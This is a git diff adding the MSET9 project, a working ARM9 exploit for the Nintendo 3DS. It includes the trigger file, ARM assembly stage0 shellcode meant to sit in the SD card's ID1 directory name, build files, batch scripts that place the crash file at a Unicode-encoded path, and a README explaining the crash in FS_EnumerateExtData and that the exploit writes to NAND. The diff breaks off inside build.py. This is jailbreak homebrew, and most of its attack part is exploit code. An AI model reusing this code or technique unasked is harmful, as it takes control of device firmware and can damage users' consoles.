diff --git a/.gitignore b/.gitignore
index c6127b3..cd0d35a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -35,12 +35,14 @@
*.i*86
*.x86_64
*.hex
+*.bin
# Debug files
*.dSYM/
*.su
*.idb
*.pdb
+*.lst
# Kernel Module Compile Results
*.mod*
diff --git a/F00D400ARM9.txt b/F00D400ARM9.txt
new file mode 100644
index 0000000..8a2d496
--- /dev/null
+++ b/F00D400ARM9.txt
@@ -0,0 +1,10 @@
+Dear ARM9,
+
+Please read this and crash while executing FS_EnumerateExtData and jump PC to ID1 and follow further instructions there.
+- so we can run some cool homebrew :>
+
+Thanks,
+Mr. Zoogie :)
+
+PS: yes, this is what triggers the exploit
+and yes, it's just a normal text file!
\ No newline at end of file
diff --git a/ID1gen/ID1gen.s b/ID1gen/ID1gen.s
new file mode 100644
index 0000000..21942ba
--- /dev/null
+++ b/ID1gen/ID1gen.s
@@ -0,0 +1,33 @@
+ .arm
+ .text
+ .cpu arm946e-s
+ .arch armv5te
+
+#define GARBAGE 0x44444444
+
+.global _start
+start:
+
+
+ @ldr sp, =0x22f18000
+ @ldr r6, [sp, #0x44]
+ adds r9, pc, #(1f - . - 8) @ trying to avoid
+ rorne r8, r9, #16 @ encoding hell
+ rorne r0, r8, #16
+ svc 0x7b
+1:
+ msr cpsr_c, #(0x13 | (1 << 6) | (1 << 7)) @ SVC MODE | NO INTERRUPTS
+ ldr r1, 1f
+ mrc p15, 0, r4, c1, c0, 0
+ and r4, r4, r1
+ mcr p15, 0, r4, c1, c0, 0
+ ldr pc, [sp,#0x4C]
+1:
+ .word ~((1 << 0) | (1 << 2) | (1 << 12))
+2:
+ @.word 0x25d48ae0
+ @ .word 0x25c58bc0
+
+
+.pool
+
diff --git a/ID1gen/Makefile b/ID1gen/Makefile
new file mode 100644
index 0000000..4d9cd80
--- /dev/null
+++ b/ID1gen/Makefile
@@ -0,0 +1,13 @@
+HAXNAME := ID1gen
+
+all: ID1gen.bin
+
+clean:
+ rm -f $(HAXNAME).elf $(HAXNAME).bin
+
+$(HAXNAME).bin: $(HAXNAME).elf
+ arm-none-eabi-objcopy -O binary $(HAXNAME).elf $(HAXNAME).bin
+
+$(HAXNAME).elf: $(HAXNAME).s
+ arm-none-eabi-gcc -x assembler-with-cpp -nostartfiles -nostdlib -Ttext=0x00000000 $< -o $(HAXNAME).elf
+
diff --git a/ID1gen/build.bat b/ID1gen/build.bat
new file mode 100644
index 0000000..e5d86cb
--- /dev/null
+++ b/ID1gen/build.bat
@@ -0,0 +1,2 @@
+make clean && make
+pause
\ No newline at end of file
diff --git a/README.md b/README.md
index d6d85b8..6053bf5 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,37 @@
# MSET9
-Ultimate gift of Lenny
+
+## Thanks
+- Luigoalma for some asm help in ID1gen!
+
+## What it is
+This is an ARM9 primary exploit for 3DS that can be launched with only filename data added to the inserted SD card.
+
+## How does it work
+When FS_EnumerateExtData is called by MSET (System Settings) to parse 3DS extdata IDs for Data Managment, a file that starts with 8 hex digits can crash ARM9 if placed directly inside the extdata directory. It can crash in various ways based on subtleties in the way the user triggers the crash event.
+
+While mostly leading to null derefs, in one specific context, ARM9 jumps directly to the ID1 string being held nearby in ARM9 memory. Serendipitously, the 3DS doesn't discern what characters are used for the ID1 directory name on the SD, only requiring exactly 32 chars. This allows the attacker to insert arm instructions into the unicode ID1 dirname and take control of ARM9, and thus, full control of the 3DS.
+
+## Can I do it?
+-- You need an old3ds, latest firm (new3ds will be coming soon)
+-- A spare SD card you can format to blank (this will likely change too, I just don't want people screwing their main sd card up in these early days).
+-- Windows PC (this should be expanded after the exploit leaves beta)
+
+## Directions
+In release archive. It may seem long and complex but it really isn't that bad. People who have trouble following directions will struggle though.
+There's a lot of room for improvement regarding ease-of-use.
+
+## FAQ
+
+Q: This installs boot9strap and writes to NAND?
+A: Yes! What else ya gonna do with ARM9 control, a9lh? pastaCFW? :p
+Q: That sounds dangerous, Zoogie!
+A: Yeah, it kinda is but the scene's been doing this dangerous stuff for years. Just sit out the beta phase if concerned.
+Q: Wait, why are you sending my 3DS online with the browser?
+A: The ID1 stage0 payload only allows for 0x40 bytes of instructions. Very small. Using the browser to "spray" fcram with a stage1 payload is a practical solution. Still, I'd like to add a completely offline stage1 solution in the future.
+Q: So you hacked the browser again Zoogie, nice job!
+A: No, no, no, it's just being used for data transport.
+Q: That file that triggers the exploit ... it kinda looks like an fcram address?
+A: It is. Another convenient fact of that file (besides triggering the overall crash) is that the first 8 chars of that hex filename are converted to a u32 that happens to exist 0x4c past SP, so I can use it in stage0 to jump to the fcram target of my choice without recompiling the ID1 mini payload. It's optional to do that though. I could instead call it F00D43D5 in tribute to a certain other recently RIP'd exploit :p.
+Q: You suggested in the hack explanation above that FS_EnumerateExtData is the responsible function for allowing the crash in MSET/ARM9, could this be called in userland homebrew to take over ARM9?
+A: Maybe? I briefly played around with this very idea, but was unable to find a crash context that I could control, unlike the pre-userland method described above. Maybe this could be an exercise for the dedicated user to explore and flesh out this potential variant of MSET9! It could be useful down the line.
+Fun fact: The 8 digit hex file, if left in extdata, will also crash FBI when selecting the "Ext Save Data" option in its main menu. It's the only homebrew I know that calls FS_EnumerateExtData.
\ No newline at end of file
diff --git a/LICENSE b/_LICENSE
similarity index 100%
rename from LICENSE
rename to _LICENSE
diff --git a/_build_delete-file.bat b/_build_delete-file.bat
new file mode 100644
index 0000000..97cb340
--- /dev/null
+++ b/_build_delete-file.bat
@@ -0,0 +1,5 @@
+cd mini_b9s_installer && make clean && make && cd..
+python build.py
+chcp 65001
+del "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐诀◅耀⋱\extdata\88888888"
+pause
\ No newline at end of file
diff --git a/_insert-file.bat b/_insert-file.bat
new file mode 100644
index 0000000..eabed45
--- /dev/null
+++ b/_insert-file.bat
@@ -0,0 +1,3 @@
+chcp 65001
+copy 88888888 "F:\Nintendo 3DS\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0286퀬逈衩ᆠࡨᆠ{ဌ伐䀁伐诀◅耀⋱\extdata\88888888"
+pause
\ No newline at end of file
diff --git a/build.py b/build.py
new file mode 100644
index 0000000..cbd2eaa
--- /dev/null
+++ b/build.py
@@ -0,0 +1,21 @@
+import os,sys,struct
+
+data=struct.pack("